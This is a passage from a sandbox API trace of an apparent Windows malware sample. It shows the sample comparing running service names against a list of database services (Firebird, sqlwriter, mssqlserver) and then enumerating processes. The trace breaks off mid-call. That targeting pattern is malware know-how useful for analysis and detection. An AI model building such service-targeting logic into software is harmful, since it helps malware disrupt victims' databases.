(lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0262.651] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0262.651] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0262.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0262.651] lstrlenW (lpString="BITS") returned 4 [0262.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0262.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0262.651] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0262.651] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0262.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0262.651] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0262.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0262.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0262.652] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0262.652] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0262.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0262.652] lstrlenW (lpString="CDPSvc") returned 6 [0262.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0262.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0262.652] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0262.652] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0262.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0262.652] lstrlenW (lpString="ClickToRunSvc") returned 13 [0262.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0262.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0262.652] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0262.652] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0262.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0262.652] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0262.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0262.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0262.652] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0262.652] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0262.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0262.652] lstrlenW (lpString="CryptSvc") returned 8 [0262.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0262.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0262.652] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0262.652] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0262.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0262.653] lstrlenW (lpString="DcomLaunch") returned 10 [0262.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0262.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0262.653] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0262.653] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0262.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0262.653] lstrlenW (lpString="DeviceAssociationService") returned 24 [0262.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0262.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0262.653] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0262.653] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0262.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0262.653] lstrlenW (lpString="Dhcp") returned 4 [0262.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0262.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0262.653] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0262.653] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0262.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0262.653] lstrlenW (lpString="Dnscache") returned 8 [0262.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0262.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0262.653] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0262.653] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0262.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0262.653] lstrlenW (lpString="DPS") returned 3 [0262.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0262.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0262.653] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0262.653] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0262.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0262.654] lstrlenW (lpString="DusmSvc") returned 7 [0262.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0262.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0262.654] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0262.654] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0262.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0262.654] lstrlenW (lpString="EventLog") returned 8 [0262.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0262.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0262.654] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0262.654] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0262.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0262.654] lstrlenW (lpString="EventSystem") returned 11 [0262.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0262.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0262.654] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0262.654] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0262.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0262.654] lstrlenW (lpString="FontCache") returned 9 [0262.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0262.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0262.654] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0262.654] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0262.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0262.654] lstrlenW (lpString="gpsvc") returned 5 [0262.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0262.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0262.654] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0262.654] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0262.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0262.655] lstrlenW (lpString="iphlpsvc") returned 8 [0262.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0262.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0262.655] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0262.655] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0262.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0262.655] lstrlenW (lpString="KeyIso") returned 6 [0262.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0262.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0262.655] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0262.655] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0262.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0262.655] lstrlenW (lpString="LanmanServer") returned 12 [0262.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0262.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0262.655] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0262.655] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0262.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0262.655] lstrlenW (lpString="LanmanWorkstation") returned 17 [0262.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0262.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0262.655] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0262.655] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0262.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0262.655] lstrlenW (lpString="lfsvc") returned 5 [0262.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0262.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0262.655] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0262.655] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0262.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0262.656] lstrlenW (lpString="lmhosts") returned 7 [0262.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0262.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0262.656] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0262.656] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0262.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0262.656] lstrlenW (lpString="LSM") returned 3 [0262.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0262.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0262.656] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0262.656] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0262.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0262.678] lstrlenW (lpString="MpsSvc") returned 6 [0262.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0262.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0262.679] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0262.679] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0262.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0262.679] lstrlenW (lpString="NcbService") returned 10 [0262.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0262.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0262.679] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0262.679] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0262.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0262.679] lstrlenW (lpString="netprofm") returned 8 [0262.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0262.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0262.679] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0262.679] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0262.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0262.679] lstrlenW (lpString="NgcSvc") returned 6 [0262.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0262.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0262.679] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0262.679] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0262.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0262.680] lstrlenW (lpString="NlaSvc") returned 6 [0262.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0262.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0262.680] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0262.680] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0262.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0262.680] lstrlenW (lpString="nsi") returned 3 [0262.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0262.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0262.680] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0262.680] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0262.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0262.680] lstrlenW (lpString="PcaSvc") returned 6 [0262.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0262.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0262.680] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0262.680] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0262.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0262.680] lstrlenW (lpString="PlugPlay") returned 8 [0262.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0262.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0262.680] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0262.680] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0262.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0262.680] lstrlenW (lpString="Power") returned 5 [0262.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0262.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0262.681] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0262.681] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0262.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0262.681] lstrlenW (lpString="ProfSvc") returned 7 [0262.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0262.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0262.681] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0262.681] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0262.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0262.681] lstrlenW (lpString="RpcEptMapper") returned 12 [0262.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0262.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0262.681] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0262.681] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0262.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0262.681] lstrlenW (lpString="RpcSs") returned 5 [0262.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0262.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0262.681] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0262.681] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0262.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0262.681] lstrlenW (lpString="SamSs") returned 5 [0262.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0262.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0262.682] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0262.682] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0262.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0262.682] lstrlenW (lpString="Schedule") returned 8 [0262.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0262.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0262.682] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0262.682] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0262.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0262.682] lstrlenW (lpString="SecurityHealthService") returned 21 [0262.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0262.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0262.682] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0262.682] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0262.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0262.682] lstrlenW (lpString="SENS") returned 4 [0262.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0262.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0262.682] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0262.682] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0262.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0262.683] lstrlenW (lpString="ShellHWDetection") returned 16 [0262.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0262.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0262.683] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0262.683] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0262.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0262.683] lstrlenW (lpString="Spooler") returned 7 [0262.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0262.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0262.683] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0262.683] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0262.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0262.683] lstrlenW (lpString="SSDPSRV") returned 7 [0262.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0262.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0262.683] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0262.683] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0262.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0262.683] lstrlenW (lpString="StateRepository") returned 15 [0262.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0262.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0262.683] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0262.684] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0262.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0262.684] lstrlenW (lpString="SysMain") returned 7 [0262.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0262.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0262.684] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0262.684] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0262.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0262.684] lstrlenW (lpString="SystemEventsBroker") returned 18 [0262.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0262.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0262.684] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0262.684] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0262.684] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42d0fe0 | out: hHeap=0x670000) returned 1 [0262.684] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x550 [0262.690] Process32FirstW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0262.691] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0262.692] lstrlenW (lpString="System") returned 6 [0262.692] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0262.692] lstrlenW (lpString="smss.exe") returned 8 [0262.692] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0262.693] lstrlenW (lpString="csrss.exe") returned 9 [0262.693] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0262.693] lstrlenW (lpString="wininit.exe") returned 11 [0262.693] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0262.694] lstrlenW (lpString="csrss.exe") returned 9 [0262.697] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0262.698] lstrlenW (lpString="winlogon.exe") returned 12 [0262.698] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0262.698] lstrlenW (lpString="services.exe") returned 12 [0262.699] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0262.699] lstrlenW (lpString="lsass.exe") returned 9 [0262.699] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0262.700] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0262.700] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0262.700] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0262.700] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.701] lstrlenW (lpString="svchost.exe") returned 11 [0262.701] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.701] lstrlenW (lpString="svchost.exe") returned 11 [0262.701] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | 